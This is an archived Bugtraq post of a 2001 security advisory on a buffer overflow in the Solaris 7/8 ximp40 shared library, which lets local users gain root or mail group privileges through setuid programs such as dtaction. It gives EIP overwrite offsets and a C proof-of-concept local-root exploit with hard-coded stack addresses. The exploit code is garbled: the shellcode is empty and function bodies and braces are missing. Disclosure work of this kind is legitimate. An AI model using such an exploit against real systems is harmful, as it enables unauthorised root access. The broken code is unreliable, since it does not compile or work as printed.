Home page logo

bugtraq logo Bugtraq mailing list archives

[SPSadvisory#40]Solaris7/8 ximp40 shared library buffer overflow
From: UNYUN <shadowpenguin () BACKSECTION NET>
Date: Wed, 31 Jan 2001 22:24:32 +0900

SPS Advisory #40

Solaris7/8 ximp40 shared library buffer overflow

UNYUN <shadowpenguin () backsection net>
Shadow Penguin Security (http://shadowpenguin.backsection.net)


Jan. 30, 2001

Solaris 8 Intel & Sparc edition
Solaris 7 Intel & Sparc edition

[Not vulnerable]

   Shared library "ximp40" which is installed on Solaris7 and 8 by
default has buffer overflow bug, the local user can obtain root
privilege or mail gid by using the following suid/sgid programs which
are using the shared library ximp40.

*Solaris 8
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

*Solaris 7
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/dt/bin/dtappgather
suid root : /usr/bin/admintool
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

   The exploitable buffer overflow occurs when the long string is
specified to "arg0" of previous listed programs. This buffer overflow
overwrites the stack area which includes RET address, EIP can be
changed to the value which is specified inside arg0.

  We explain this problem by /usr/dt/bin/dtaction which is installed
on Solaris8.
  This overflow becomes exploitable if the appropriate value is set in
 buffer offset 264 to 267, EIP can be changed to specified value which
 is located in buffer offset 260 to 263

  Clear the suid/sgid bit of all programs which are listed in [Overview].

   We will change this information without any notice. Use of this
information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatever arising out of or
in connection with the use or spread of this information. Any use of
this information is only for personal experiment.

[Comments ?]
If you have something comments, please send to following address..

UNYUN <shadowpenguin () backsection net>

[Sample code]
   This exploit obtain root privilege by using /usr/dt/bin/dtaction.
This is tested on Solaris8 Intel edition only.

   Solaris ximp40 shared library exploit for Solaris8 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin () backsection net)
    #xhost +targethost
    #telnet targethost
    %setenv DISPLAY yourhost:0.0
    %gcc ximp40.c
    0:Default value 1:Calculated value > 1   <- Input 0 or 1

#include  <stdio.h>

#define     BUF_SIZE        272
#define     EIP_OFFSET      260
#define     FAKE_OFFSET     264
#define     FAKE_VALUE      0x08046dec
#define     EIP_VALUE       0x08047cb4
#define     FAKE_VALUE_DIF  0xd9c
#define     EIP_VALUE_DIF   0x12c
#define     NOP             0x90

char    shell_code[]=

unsigned long get_sp(void)
  __asm__(" movl %esp,%eax ");

void valset(char *p,unsigned int val)

    char            buf[BUF_SIZE];
    unsigned int    esp=get_sp(),sw;


    printf("0:Default value 1:Calculated value >");
    if (sw==0){
        valset(buf+FAKE_OFFSET, FAKE_VALUE);
        valset(buf+EIP_OFFSET , EIP_VALUE);
        printf("Jumping address = %x\n",EIP_VALUE);
        valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
        valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
        printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);


% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
   shadowpenguin () backsection net (SPS-Official)
   unyun () shadowpenguin org (Personal)
% eEye Digital Security Team [ http://www.eEye.com ]
   unyun () eEye com

  By Date           By Thread  

Current thread:
  • [SPSadvisory#40]Solaris7/8 ximp40 shared library buffer overflow UNYUN (Jan 31)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]